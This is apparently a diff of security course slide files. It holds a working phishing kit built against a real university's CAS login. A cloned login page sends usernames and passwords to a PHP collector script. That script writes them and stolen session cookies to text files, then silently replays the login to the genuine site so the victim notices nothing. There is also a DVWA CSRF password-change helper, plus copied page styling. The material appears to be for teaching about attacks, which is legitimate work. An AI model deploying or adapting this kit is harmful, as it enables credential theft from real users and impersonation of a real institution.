            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
  </body>
</html>
Original line number Diff line number Diff line
<?php


if (
    array_key_exists('username', $_GET)
    && array_key_exists('password', $_GET)
) {

    // log credentials
    $f = fopen("./credentials.txt", "a");
    fwrite($f, $_GET['username'].":".$_GET['password']."\n");
    fclose($f);
    
    // get CSRF https://ent.uca.fr/cas/login
    $url = "https://ent.uca.fr/cas/login";
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
    $output = curl_exec($curl);
    curl_close($curl);  
    preg_match(
        '/name="execution" value="(.+)"/U',
        $output,
        $matches
    );
    $token = $matches[1];

    ?>
    
    <script>
    window.onload = function(event) {
        var frm = document.getElementById("fm1");
        frm.submit();
    };
    </script>

    <styles>
    #fm1 {
        display: none;
    }
    </styles>

    <form method="post" id="fm1" action="https://ent.uca.fr/cas/login">
        <input type="text" name="username" value="<?php echo $_GET['username'];?>">
        <input type="password" name="password" value="<?php echo $_GET['password'];?>">
        <input type="hidden" name="execution" value="<?php echo $token;?>">
        <input type="hidden" name="_eventId" value="submit" class="">
        <input type="hidden" name="geolocation"></section>
        <button name="submitBtn" type="submit" value="Se connecter">
            <span class="">Se connecter</span>
        </button>
    </form>
        
<?php
}


if (array_key_exists('cookie', $_COOKIE))
{
    // log credentials
    $f = fopen("./sessions.txt", "a");
    fwrite($f, $_COOKIE['cookie']."\n");
    fclose($f);
}


if (array_key_exists('rm', $_GET))
{
    unlink("./credentials.txt");
}
Original line number Diff line number Diff line
function getToken() {
    var token='&user_token=' 
      + document
        .getElementById("get_token")
        .contentDocument
        .getElementsByName("user_token")[0]
        .value;
    var link = "http://dv.wa/"
      + "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
      + token;
    alert(link);
    document.getElementById("play_CSRF").src=link;
}
 No newline at end of file
+188 −0
Original line number Diff line number Diff line
<!DOCTYPE html>
<!-- saved from url=(0075)https://ent.uca.fr/cas/login?service=https%3A%2F%2Fent.uca.fr%2Fcore%2Fhome -->
<html class="">

<head class="">
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge" class="">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" class="">
    <title class="">CAS - Central Authentication Service Connexion</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" class="">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" class="">
    <link rel="stylesheet" 
        href="https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.min.css" 
        integrity="sha512-NhSC1YmyruXifcj/KFRWoC561YpHpc5Jtzgvbuzx5VozKpWvQ+4nXhPdFgmx8xqexRcpAglTj9sIBWINXa8x5w==" 
        crossorigin="anonymous" 
        referrerpolicy="no-referrer" />
    <link rel="stylesheet" 
        href="https://unpkg.com/material-components-web@latest/dist/material-components-web.min.css" >
    <link rel="stylesheet" 
        href="https://cdnjs.cloudflare.com/ajax/libs/MaterialDesign-Webfont/7.2.96/css/materialdesignicons.min.css" integrity="sha512-LX0YV/MWBEn2dwXCYgQHrpa9HJkwB+S+bnBpifSOTO1No27TqNMKYoAn6ff2FBh03THAzAiiCwQ+aPX+/Qt/Ow==" 
        crossorigin="anonymous" 
        referrerpolicy="no-referrer" />
    <link rel="stylesheet" type="text/css" href="./login/cas.css?20230224" class="">
    <link rel="shortcut icon" href="./login/favicon.ico" class="">
</head>

<body class="flex-column-center" id="dummybodyid" cz-shortcut-listen="true">
    
    <img src="./login/logo.png" class="logo">
    
    <!-- script type="text/javascript" src="./login/jquery.min.js"
        class=""></script -->
    <!-- script type="text/javascript" src="./login/jquery.dataTables.min.js"
        class=""></script -->

    <!-- script type="text/javascript" src="./login/es5-shim.min.js"
        class=""></script -->
    <!-- script type="text/javascript" src="./login/css-vars-ponyfill.min.js"
        class=""></script -->
    <!-- script type="text/javascript"
        src="./login/material-components-web.min.js" class=""></script -->
    <!-- script type="text/javascript" src="./login/cas.js"
        class=""></script>
    <script class="">
        if (typeof resourceLoadedSuccessfully === "function") {
            resourceLoadedSuccessfully();
        }
        $(() => {
            typeof cssVars === "function" && cssVars({ onlyLegacy: true });
        })
        var trackGeoLocation = false;
    </script -->

    <div class="card">
        <main role="main" id="main-content" class="">
            <div id="content" class="">
                <div class="">
                    <section id="loginForm" class="">
                        <div class="flex-column-center">

                            <div class="flex-column-center">

                            </div>

                            <div class="flex-column-center">

                                <form method="get" id="fm1" action="https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php" class="">
                                    <div id="login-form-controls" class="flex-column-center">
                                        <h3 class="">
                                            <i class=""></i>
                                            <span class="">Service d'authentification</span>
                                        </h3>

                                        <section class="margin-space" id="usernameSection">
                                            <label for="username" class="">

                                                <input class="" id="username" size="25" type="text" accesskey="i"
                                                    autocapitalize="none" spellcheck="false" autocomplete="username"
                                                    required="" name="username" value=""
                                                    placeholder="Identifiant"></label>



                                            <!-- script type="text/javascript" class="">
                                                /*<![CDATA[*/
                                                var username = "";
                                                var disabled = false;

                                                if (username != null && username !== '') {
                                                    $('#username').val(username);
                                                    if (disabled) {
                                                        $('#usernameSection').hide();
                                                    }
                                                }
                            /*]]>*/
                                            </script -->
                                        </section>
                                        <section class="margin-space" id="passwordSection">
                                            <div class="">
                                                <div class="">
                                                    <label for="password" class="">

                                                        <input class="" type="password" id="password" size="25"
                                                            required="" accesskey="m" autocomplete="off" name="password"
                                                            value="" placeholder="Mot de passe">
                                                    </label>


                                                </div>
                                            </div>
                                        </section>

                                        <section class="margin-space hide">
                                        </section>


                                        <section class="margin-space hide">

                                            <input type="hidden" name="execution"
                                                value="8703df8e-fcc6-408b-b306-e844aa7fcdf6_ZXlKaGJHY2lPaUpJVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0lzSW10cFpDSTZJamc0TnpFd01qVTVMVGxtTXpNdE5HRXdOUzA1TW1JM0xUZGpPRFUyTm1JeU1tRXlNaUo5LjZGX0NsV0FoN2NiWkRmZFNNUW52cUN5TF9oSkZTU3lFSFNmXzhya2pQN0VEY1dRVVMzSG1Dd1piZEhid2RhZnpGdFZYLVEtM2RBX3ZIUndFbV9oWkZLNnlaU1BZVHJDM0JDaWpMUG5lT0lzb0RqUTQ0cFdJWk1zX0toRzNudGF1SUl3RktiQjF6ZllwbFdyQXhKLTJmaGs3Z3h2MlZrMHhnUDZHMXJFQnIxLWpoaGVNWjVsSTBQVGtpTi1NTU41MlpvZzdYMmZCdklRVWU3RmY5dDFxS0xranVENW1qNHVfdklCekJmQTM1T0t4elVuRl93SUVXeXp3aGEzYUdwZHltQlg0WkJWQ2llWnBlN0U4emhtbVpGMHlsZjlyQ3hCMExWR3BYUEt4aXlZeXl1WmRTTC1COVp4d0JyWTZMMVl1SjBhc3BFbGJTN3pfd2hKRGw2WVVvV1hRY0VpSFIwci15YkRNVEJxTFBHUG9CLS1BRExiZ1NUTnlma2lSV1Y3Q1RfdldCVmNWZUw1YkVuc284eG8yX3I4VS1naDk0SklzUGxBeW9FdV9NZ3JobVFDOGM0OXBQVzJuQkZGVTVMS2NuTm42VEVnOGZnclVIN3FhM09aS0F5Q3NIdFpmdzlpd184YkN4OWlBLW1pU1o1V2NWaFdOSXBTZjBZdnFhSHRlWk9jMHM4c2dkRk91TzRSX1NBTTR3cXVJWElSMVNpUE5zNzBjRkZxMDNkWG1OTnp3MklTblNCQ24yWldwNUdXeWlLVG8xY0lBWTJWZDFFTnp0NGZrWXB3YXhxaWRIQ1o5UDBSY09qNzh6bnlnLUhURi05bkRVSVc4MkJ3dTZVdUtEQmlWam1lTHJjVG5ZY0ZTUmZ4OTZ6aVdkWnNHSzAwd1F1bE9ZNEhRQmh4R0M4VFlkQlJORFdUNVBBRjI1X3pGX0JwYUdKaVhVdDEyemttQWJCZER0UzUxN241em53UGxlekdha0h5YzQ5dl82ZXQ4emREZ3RvV2tOR2FQc0F3ZDNJUDZVeWcyQi12cGNUbW1oRVNHLTBxeGVHQ1Zpd2ZmQ1JSWDhldGJ0UHZHa2NkeEdja1lYd0F4eUJsXy1wOHZRS09ud0tLNGZybTlHNDBHb0psOEpnejVwNmRDVVQ0QzNiV0RNajJnZk91OUpkbkNLWjJjTzJvTmozUjU1QlVxMGljQzdjUXp2UjlSaXo3R0ZxWVhTbGgzdXNfSFZzWmkxTnFabDY1bVUtMWV1VzdDWm9ielQwWDZLQm5va1RQZUdfOFdjZ3hBMEdtRlZ0ZldSNFhaa0wzZEdGMkJzdXRBcF9iMWhIUVI5UjdVN1VEVDI2T2RlbjZNOVNMRFVJckdBZURNUHphekNkVGVwMEpTTnpyOUs4VnBjZzhlZzFiVXNpSWFVT1BReWw0aEktOC1BZ0MzUjh0N0xnd0xjRUFTNmJsckg1cjN3OVZZUmJXMVdqSm00Rm96UTl0ZW1NYklNbEVGaGJKQjJ6X1BkaDQxV1V3Nk5UeVhyOFUyNC1WZ3dlaTNGUC1YenkxWDVhSVVVekxlWDVYZnNBV2VHZnh5SHh2RlRFYmJNYlB1c1FOTVYzdW5kUTdJWTdXc0hCZnI4MDFkQ2RsX2tsNzF6dG5zLVhIUW9PT3hpd3dQVFFhUmVWbm8xenFXdHVCR2diTk13LUY1eDZ4emZsME9Hb19XYUtXeG80V3pJWmxoY1JCYXQ1TWpja3V0cW1MckZfcnRJZ1M5V1kwTG9wZkExT3c3SkN2Qnl5eXloOTJka1F5UlNTU1FPcnZFSjZTRVl0VW1tOE1qdERTcGd6QkhyVTFfYkp2STloUWZKckFiYmZmTW5Pd292UXhmTHdHZHREdjJuc1M1MlFzeGhiT18xVlVVV1lLb0lYdHdkTHVsYlBmNUhHTTZuc3VfU3lZVmVjQkJGdUo3RldmeVM2cE1tanFZZ1VqeHVBakx5TDNXUmw2VHJqQVByYmd5VVcwaWFrYlRtRmZpd0JJRmF0ck9pMkl3c09KVUtybXoxV21FcE5HTktqR1NWWGlCR0cxZlB1TzJ4enF5SEhFMXFLZlFmalhiYS1PTkhsemp4YTlBd3RzcUtRSjR1VVlSWEowMVRDYW5FazVVSHJ5R25KNlVCNnJEMlhzTXUwTUFvcW5ldzFqOXdJdllacllxdUlMV090V2pMR2NmVG1IdFFXeFpQODg4aFFFQXMxUzVNQnpwdXNpcTVwUFBzMXNBaVZram9kei12OFZBcHozNDY4OHN4ZURZdUwyangxRFV4UG1RTmJxWmYzTlVUMVRVUHd5Ti15cEJZYVotVzVnQ1hFeGUxRUwyY0JnN0FQQ2FhR3RoYlJCbmV5RVVyV3dYdEVxei1vTkZXSXJVM2lBeGJ6Vk9NYUtaSm1pRkdvWnN2UnZNVHRPb3NDWDVSdVY2SHdMMTZHMGNaTFFUdmJPOXFiWGlQU1E1SG5FMW5rZU1uQlA0UFhHNG9mTHQyZE9MZnhjc0dESTFKQ0g4LTN4aWkycTk2ZUY3WE9ibDZXR1ZET2FPVXNxUnpkdjh6VnZZNklXM1p6TVFzOVRTaXcxZ3NDUy0xNmVyelJvdjlCcXFhWl90RUdvRGRjalYyTnlkbndHZjQ3RzkwVzVGN1FQVGJaandYN25wSkdGRE80emVZdV9WbnFvX1FBQmg2TUJlTjVOcV8tb2tFaExTMVFfMnBfbXFUY3dZZDNkaWRWdTFvY3J1T2RRcC1zRVYyNHVEQmlCRUNfMk5Od1RsR3pBNjQ5cDV3NzNwako5TkZnYi1nZ05Sal9Tem1peGZaNF90RGI3SVRaaDA5RnRvVEx4a2drbHlWa2ZLVmNWX3E5UGdHaGtQXzFpc0k1dmNSS3BLRGJHNVZSS0xuX01qcnE1MmtpSXNvQTREMG5kVENuSWFYcUJWMjk1MnVfMkxlTDk4dmJzR1AteXhvVk50QTN1XzlndG9wOUJqOG5EYVNGX3NLQmJHd1l1MkFPMnpuc1dDYi16NUlIYXdXNXFKREZILWFNMTlPc3pjMVpHQkQ5cmM2bkhqN2E3VFhNNDdCOE1Ia2QybDFkekZRcXhsSWlYdlFfcVNDN2lueTQ5QWFWaUJQSkk4QVBCUF9PMThpWlpsOE5HVUx3Xzhfdzk3b09UVWRqU21UVUMybFlORVFwQm5tV1ktZm1vTmFROFdFUnVOMlJxeGZrS05laVNIRmFHa2xCMkE5V2JSUVZ1REFFQ1liQ0xWYm9FTWRGT1FNNEtHSW5xUXBHb01zaEE2M0lDTW5JMGt6dHBqMEU4RUtKaHg0aWNQc04xOGtWbDlrWFpwQUd6RG1ickl6OThGem4tRXcxNzlFTE4tTFFCdnNVZ096WjBZLUlNd1VoZUZVTkhvQ3VfZTlZQ2pmMjctTGJXQ2tVTEE0Skg3VmtWZlpTektCeVZnbmU3NEhmT0ZZOFJIeG1CQ0ZxcjZBYUNJNUdEckk1NWhqYWpXSUs0X1N2aGhUVHN1akZzYk9rY3hxejJKcmQ2UF9zemZ0N3lGMV9ERkRLT1lidS10MmctMlRyNDNlbnRqOVRneVJqZFNsUk9aVFZhWUdEZ25QM1hoX19IbVlKMmtXa3lfVnRCZmd6azNrbkVLOFRVT2N4TGtPV1dXb2hTTEU2bXdQenZFbUthcnlyeEZCaVk2ZGR5Tk9Uc1JjbkZSRXNmSmhKamNLU0JWS0FaUTJkOS02OTVmdGdoUlpFQ3lOWXRRQ1FFSmh1QWVReGJxNWtLdkV0NlpnVW5JaDc2MG9VT3FSTHhoRmUxQmJuMlZjbFlVVndFV3l6RWpJbkhiS1llZHo3WlRQNXItM1BwV1pQTjFhdjFTRVZSOF96Y1VObFo4T0JwUzlxYXNkX01YTlhobEdicXhTRFBoUjdzRmF1VVhrN2FfaGJmOUNCWlJrNGxDUUU5ZWV2MFdGblE4NF9pMUVhbDNEWHBPaXFldDBLNnRuT2VvSTdhOERmRmpwM2ZibklfeFVqRTc2anNEcmE1bjNWRTBUWXk5QnZGWGVQU2xMeWlqQklzWjEtbzdJRjFEemoyMFVkUGVqN194TXY2bUYxcG9XWDRTRDU2VEt4Z2c1UzAyWGtjeDlNSS1OTWJmRWhyM0stTEZqRjloaGxKSmgzTGZzQk1SdGVoYVRvSXhzU3ZPR1hSR0lkY2FRWGxzc3k2WTBhOXJ0UUpSSXZRLUc2c1ZxQzdpMjVDNmptd0QyenhmVG1VMFVEcG9qVjl0cjJ2VGsyTU12OXIzN0ZfeWNPbTctRlhpYnpvWW9CZ3liWThBNE9UaHRfOFZscG9Rb1cwSEl2cWQyU1FvWWFybWhoMlRoeDQ4MjFZS1pTckZxOEk0QXlOOWkzX1IxVHZWZHlpT3RrV1hLeXhxOFBxTUM5MDJNNGNoSER3dl9pVlctWnRUNXNUZ2haZ2R0TmsxYmg3SzRyTTlJS29EWXRvay1aUEp0cE0xUldvMzM3dGs4bHZfQkRvbFNSNVZJTWVpSkt4TXJyMzJIeWd0ZC1rWjJnbnNmWm0zU3U3WmpQWUw3X1dvUjdTakdiWEMtMkMybklLM09hY2wwQmNRLXV3QzI0ZHIzREpIZi0yWU94dWFjQjlIbkxGdlhRaUIxX1ZaNkxCLWZzVHA0YmFLdUJRX2ptYVZRcWVkaFZDZnRzeGFqZFFkSWpOVXlxM0V2aFo3dEhURGFPQ0hBYU1zdWhXUWFKeEdNbnB6V0hUOGhoTk9QcDhMYnI3cUhCQTY5RDZmaE16TkFJX3djRTdfcEJSWFRBRzZ0cng1emY0MjRoaUZmTkRQVGpsWW9sSFhpczZTdF91NGVwZWU0REg5alVOeEpvaHN1Y3EzTTBBSTlhZ2JCLUF4REhRQ2NnU0d3bUdzTExwT2ozMmFJVEdXY2dZX2tDS1ZUZ25XcFJWTlhfWTV3cjBFR3JhLW1TTnVHcEtCQ3RiUVZVRXI0VzlSQXNjTTdzTXRlMTBtRk81YzFJNnlsODh6Wm15TV81ajVLTXpFVFJHVGpjTUhXQ0xJLWloNXg0bUg5Y1JsR243cTM2ZllyVm1mTVhIN0VnWUVFVGxQQUpSVmZ4QXNUeG4zaDN0dHI2TGl1RlFUNkkxdkhHT21yQm9JTkdjTGVKSVh3bHk3anFvNUxYWnMxN29pWEEuNlE0RFFZaHVZWUJ5cEdmeVlyb0R3SjlFVUVEZWl2TTJZMGN0c1FwUHppMFlDZ2RpRDRYak5HRGhKeVBwMHBrMEdKRVFSaXFDb2QwRk42VWZhckUzWnc="
                                                class=""><input type="hidden" name="_eventId" value="submit"
                                                class=""><input type="hidden" name="geolocation" class="">
                                        </section>

                                        <button class="margin-space" name="submitBtn" accesskey="l" type="submit"
                                            value="Se connecter">
                                            <span class="">Se connecter</span>
                                        </button>

                                    </div>
                                </form>

                                <span class="">
                                    <div id="pmlinks" class="">
                                        <div class="">
                                            <br class=""><span class=""></span>
                                            <span class="flex-column-center"><a
                                                    href="https://ent.uca.fr/compte/activationCompte/" class="">Première
                                                    connexion ?</a><a
                                                    href="https://ent.uca.fr/compte/password/forgotPwd" class="">Mot de
                                                    passe oublié ?</a></span>
                                        </div>
                                    </div>
                                </span>

                                <!-- script type="text/javascript" class="">
                                    /*<![CDATA[*/
                                    var i = "Veuillez patienter..."
                                    var j = "Se connecter"
                                    /*]]>*/
                                    $(window).on('pageshow', function () {
                                        $(':submit').prop('disabled', false);
                                        $(':submit').attr('value', j);
                                    });
                                    $(document).ready(function () {
                                        $("#fm1").submit(function () {
                                            $(":submit").attr("disabled", true);
                                            $(":submit").attr("value", i);
                                            return true;
                                        });
                                    });
                                </script -->
                            </div>

                            <span class="">
                                <div id="sidebar" class="">
                                    <div class="">
                                        <p class="">Pour des raisons de sécurité, veuillez vous <a
                                                href="https://ent.uca.fr/cas/logout" class="">déconnecter</a> et fermer
                                            votre navigateur lorsque vous avez fini d'accéder aux services authentifiés.
                                        </p>
                                    </div>
                                </div>
                            </span>
                        </div>
                    </section>
                    <span class="">
                    </span>
                </div>
            </div>
            <div id="links"><a href="https://ent.uca.fr/cas/login?locale=fr">Français</a><a
                    href="https://ent.uca.fr/cas/login?locale=en">English</a></div>
        </main>
    </div>
</div>
</body>

</html>
 No newline at end of file
Original line number Diff line number Diff line
/* Root / Reset */


:root {
    --mdc-text-button-label-text-color: #f7f7f7;
    --mdc-theme-error: #d9534f;
    --cas-theme-primary: #153e50;
    --cas-theme-primary-bg: rgba(21, 62, 80, 0.2);
    --cas-theme-button-bg: #26418f;
    --cas-theme-primary-light: #006d85;
    --cas-theme-secondary: #74C163;
    --cas-theme-success: var(--cas-theme-secondary);
    --cas-theme-danger: var(--mdc-theme-error);
    --cas-theme-warning: #e6a210;
    --cas-theme-border-light: 1px solid rgba(0, 0, 0, .2);
    --mdc-theme-primary: var(--cas-theme-primary, #153e50);
}

body {
    display: flex;
    height: 100vh;
    margin: 0;
    padding: 0;
    flex-direction: column;
    justify-content: space-between;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
    background: #EFEFEF;
}

a {
    color: #153e50;
    color: var(--cas-theme-primary, #153e50);
}

a:hover, a:visited, a:active {
    color: #006d85;
    color: var(--cas-theme-primary-light);
}

h1, h2, h3, h4, h5, h6 {
    margin-top: 0;
}

aside, section, main {
    display: block;
}

/* Material */

.mdc-drawer {
    top: 56px;
}

.mdc-drawer-app-content {
    flex: auto;
    overflow: auto;
    position: relative;
}

.main-content {
    display: flex;
}

.mdc-top-app-bar {
    z-index: 7;
}

div#content {
    box-shadow:1px 1px 3px #888;
}
/* widgets */

.notifications-count {
    position: absolute;
    top: 10px;
    right: 12px;
    background-color: #b00020;
    background-color: var(--cas-theme-danger);
    color: #fff;
    border-radius: 50%;
    padding: 1px 3px;
    font: 8px Verdana;
}

.cas-brand {
    height: 48px;
    width: auto;
}

header>nav .cas-brand path.cls-1 {
    fill: white;
}

header>nav .cas-brand .cas-logo {
    height: 100%;
}

.caps-warn {
    display: none;
}

.caps-on {
    display: block;
}

.login-section {
    border-right: 1px solid rgba(0, 0, 0, .2);
    border-right: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
    padding: 2rem 2.5rem;
    flex: 1 1 auto;
    /* IE flex fix */
}

.login-section:last-child {
    border: none;
}

@media screen and (max-width: 767.99px) {
    .login-section {
        border-right: none;
        border-bottom: 1px solid rgba(0, 0, 0, .2);
        border-bottom: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
        max-width: none;
        padding: 0 1.5rem;
    }
}

.noborder {
    border: 0 none;
}

.close {
    font-size: 1.5rem;
    font-weight: 700;
    line-height: 1;
    color: #000;
    text-shadow: 0 1px 0 #fff;
    text-transform: none;
    text-decoration: none;
}

button.close {
    background-color: transparent;
    border: 0;
    -webkit-appearance: none;
}

.banner {
    border: 1px solid rgba(0, 0, 0, .2);
    border: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
    position: relative;
    padding-left: 10px;
    box-shadow:1px 1px 3px #888;
    border-radius:.5em;
    padding-top: .5em;
    padding-bottom: .5em;
}

.banner>span {
    vertical-align: top;
}

.banner .banner-message {
    margin: 0.375rem 0;
}

.banner .banner-heading:first-child {
    margin-top: 0;
}

.banner .banner-message:first-child {
    margin-top: 0;
}

.banner .banner-message:last-child {
    margin-bottom: 0;
}

.banner-primary {
    border-color: #153e50;
    border-color: var(--cas-theme-primary, #153e50);
}

.banner-primary .mdi {
    color: #153e50;
    color: var(--cas-theme-primary, #153e50);
}

.banner-danger h1:before,
.banner-danger h2:before,
.banner-danger h3:before,
.banner-danger h4:before,
.banner-danger h5:before {
    content: "\F0027";
    font-size: 24px;
    font: normal normal normal 24px/1 "Material Design Icons";
}

.banner-danger {
    border-color: #b00020;
    border-color: var(--cas-theme-danger, #b00020);
    color: #D8000C;
    background-color: #FFD2D2;
}

.banner-danger .mdi {
    color: #b00020;
    color: var(--cas-theme-danger, #b00020);
}

.banner-warning {
    border-color: #e6a210;
    border-color: var(--cas-theme-warning, #e6a210);
    color: #e6a210;
    color: var(--cas-theme-warning, #e6a210);
}

.banner-warning .mdi {
    color: #e6a210;
    color: var(--cas-theme-warning, #e6a210);
}

.banner-success h1:before,
.banner-success h2:before,
.banner-success h3:before,
.banner-success h4:before,
.banner-success h5:before {
    content: "\F012D";
    font-size: 24px;
    font: normal normal normal 24px/1 "Material Design Icons";
}

.banner-success {
    border-color: var(--cas-theme-success);
    color: var(--cas-theme-primary, #153e50);
    background-color: #b3e7f8;
}

.banner-dismissible {
    padding-right: 4rem;
}

.banner-dismissible .close {
    position: absolute;
    top: 0;
    right: 0;
    padding: .75rem 1.25rem;
    color: inherit;
}

.login-provider-item {
    list-style: none;
}

.login-provider-item .mdc-button .mdi {
    margin-right: 0.375rem;
}

@media screen and (max-width: 767.99px) {
    .logout-banner {
        width: 100%;
    }
}

.cas-footer {
    background-color: var(--mdc-theme-primary, #6200ee);
    color: whitesmoke;
}

.cas-footer a {
    color: deepskyblue;
}

.cas-footer>* {
    margin-right: 0.25rem;
    display: inline-block;
}

.cas-footer>*:last-child {
    margin: 0;
}

.cas-notification-dialog .mdc-dialog__content>.cas-notification-message:not(:last-child) {
    border-bottom: 1px solid rgba(0, 0, 0, .2);
    border-bottom: var(--cas-theme-border-light, 1px solid rgba(0, 0, 0, .2));
}

.mdc-dialog__title::before {
    display: none;
}

.mdi {
    content: "";
}

.mdi:before {
    font-size: 24px;
}

/* custom components */

.custom-select {
    display: inline-block;
    min-width: 80%;
    height: 56px;
    padding: .375rem 1.75rem .375rem .75rem;
    font-size: 1rem;
    font-weight: 400;
    line-height: 1.5;
    color: rgba(0, 0, 0, 0.87);
    vertical-align: middle;
    background: #fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px;
    border: 1px solid #ced4da;
    border-radius: .25rem;
    -webkit-appearance: none;
}

/* utilities */

.bg-primary {
    background-color: rgba(21, 62, 80, 0.2);
    background-color: var(--cas-theme-primary-bg, rgba(21, 62, 80, 0.2));
}

.border-bottom {
    border-color: #153e50;
    border-bottom: 1px solid var(--cas-theme-primary, #153e50);
}

.strong {
    font-weight: bold;
}

.text-warning {
    color: #e6a210;
    color: var(--cas-theme-warning, #e6a210);
}

.text-danger {
    color: #b00020;
    color: var(--cas-theme-danger, #b00020);
}

.text-secondary, .text-success {
    color: var(--cas-theme-secondary);
}

.progress-bar-danger .mdc-linear-progress__bar-inner {
    border-color: #b00020;
    border-color: var(--cas-theme-danger, #b00020);
}

.progress-bar-warning .mdc-linear-progress__bar-inner {
    border-color: #e6a210;
    border-color: var(--cas-theme-warning, #e6a210);
}

.progress-bar-success .mdc-linear-progress__bar-inner {
    border-color: var(--cas-theme-success);
}

.word-break-all {
    word-break: break-all;
}

.mdc-text-field {
    width: 100%;
}

.mdc-text-field>.mdc-text-field__input, .mdc-text-field:not(.mdc-text-field--disabled):not(.mdc-text-field--outlined):not(.mdc-text-field--textarea)>.mdc-text-field__input {
    border-color: #153e50;
    border: 1px solid var(--cas-theme-primary, #153e50);
    border-radius: 4px;
}

.mdc-input-group .mdc-input-group-field .mdc-text-field {
    border-top-right-radius: 0;
    border-bottom-right-radius: 0;
}

.mdc-input-group .mdc-input-group-append {
    order: 2;
    border-top-left-radius: 0;
    border-bottom-left-radius: 0;
}

.mdc-input-group .mdc-input-group-prepend, .mdc-input-group .mdc-input-group-append {
    height: 56px;
}

.mdc-input-group .mdc-input-group-prepend {
    order: 0;
    border-top-right-radius: 0;
    border-bottom-right-radius: 0;
}

.mdc-input-group .mdc-input-group-field.mdc-input-group-field-prepend .mdc-text-field>.mdc-text-field__input {
    border-top-left-radius: 0;
    border-bottom-left-radius: 0;
}

.mdc-input-group .mdc-input-group-field.mdc-input-group-field-append .mdc-text-field>.mdc-text-field__input {
    border-top-right-radius: 0;
    border-bottom-right-radius: 0;
}

.text-danger, .mdc-text-field:not(.mdc-text-field--disabled) .mdc-text-field__icon.text-danger, .mdc-text-field:not(.mdc-text-field--disabled)+.mdc-text-field-helper-line .mdc-text-field-helper-text.text-danger {
    color: #b00020;
    color: var(--cas-theme-danger);
}

.mdc-text-field--focused:not(.mdc-text-field--disabled) .mdc-floating-label {
    color: #153e50;
    color: var(--cas-theme-primary, #153e50);
}

.mdc-button--outline:not(:disabled) {
    background-color: #428bca;
    border-radius: 12px 4px;
}

.mdc-button--raised:not(:disabled) {
    margin-right: 4px;
    border-radius: 12px 4px;
    background-color: var(--cas-theme-primary, #153E50);
}

.list-unstyled {
    padding-left: 0;
    list-style: none;
}

.text-center {
    text-align: center;
}

.pad-0 {
    padding-right: 0;
    padding-left: 0;
}

.w-66 {
    width: 66%;
}

.w-33 {
    width: 33%;
}

.w-25 {
    width: 25%;
}

.w-50 {
    width: 50%;
}

.w-75 {
    width: 75%;
}

.w-100 {
    width: 100%;
}

.w-auto {
    width: auto;
}

.h-25 {
    height: 25%;
}

.h-50 {
    height: 50%;
}

.h-75 {
    height: 75%;
}

.h-100 {
    height: 100%;
}

.h-auto {
    height: auto;
}

.mw-100 {
    max-width: 100% !important;
}

.mh-100 {
    max-height: 100%;
}

.min-vw-100 {
    min-width: 100vw;
}

.min-vh-100 {
    min-height: 100vh;
}

.vw-100 {
    width: 100vw;
}

.vh-100 {
    height: 100vh;
}

.mw-50 {
    max-width: 50%;
}

.border-rounded {
    border-color: #153e50;
    border: 1px solid var(--cas-theme-primary, #153e50);
    border-radius: 4px;
}

.border-bottom {
    border-color: #153e50;
    border-bottom: 1px solid var(--cas-theme-primary, #153e50);
}

@media all and (min-width: 768px) {
    .w-md-50 {
        width: 50%;
    }
    .w-md-66 {
        width: 66%;
    }
}

@media all and (min-width: 992px) {
    .w-lg-50 {
        width: 50%;
    }
    .w-lg-66 {
        width: 66%;
    }
}

@media all and (max-width: 767.99px) {
    .w-md-50 {
        width: 100%;
    }
    .w-md-66 {
        width: 100%;
    }
}

@media all and (max-width: 991.99px) {
    .w-lg-50 {
        width: 100%;
    }
    .w-lg-66 {
        width: 100%;
    }
}

.visually-hidden {
    position: absolute;
    width: 1px;
    height: 1px;
    padding: 0;
    overflow: hidden;
    clip: rect(0, 0, 0, 0);
    white-space: nowrap;
    border: 0;
}

*, ::after, ::before {
    box-sizing: border-box;
}

.text-justify {
    text-align: justify;
}

#duo_iframe {
    width: 100%;
    min-width: 304px;
    height: 330px;
    border: none;
    padding: 0;
    margin: 0;
}

.dataTables_wrapper {
    margin-left: 5px;
    margin-top: 5px;
    margin-right: 5px;
}

#serviceui {
    background-color: #17a3b844;
    border-radius: 4px;
}

#heroimg {
    display: block;
    margin-left: auto;
    margin-right: auto;
}

/* IE flex fix */

#main-content {
    margin-right: 10px;
    margin-left: 10px;
}

/* oddly, the auto right and left margins caused the login form to not be centered in IE */

@media all and (min-width: 768px) {
    .login-section {
        flex: 1 1 500px;
        /* according to flexbugs, flex-basis should be explicitly set for IE */
        /* https://github.com/philipwalton/flexbugs#flexbug-4 */
    }
}

/* flex-basis: auto works in IE with the column view,
     but a specific value needs to be set for row view
   */

/* fix for not showing password reveal icon on MSEdge and MSIE */
.pwd::-ms-reveal,
.pwd::-ms-clear {
    display: none;
}

@media (min-width: 1400px) {
    .container-xxl {
        max-width: 90%;
    }
}
 No newline at end of file
Original line number Diff line number Diff line
@import "_cas.css";

:root {
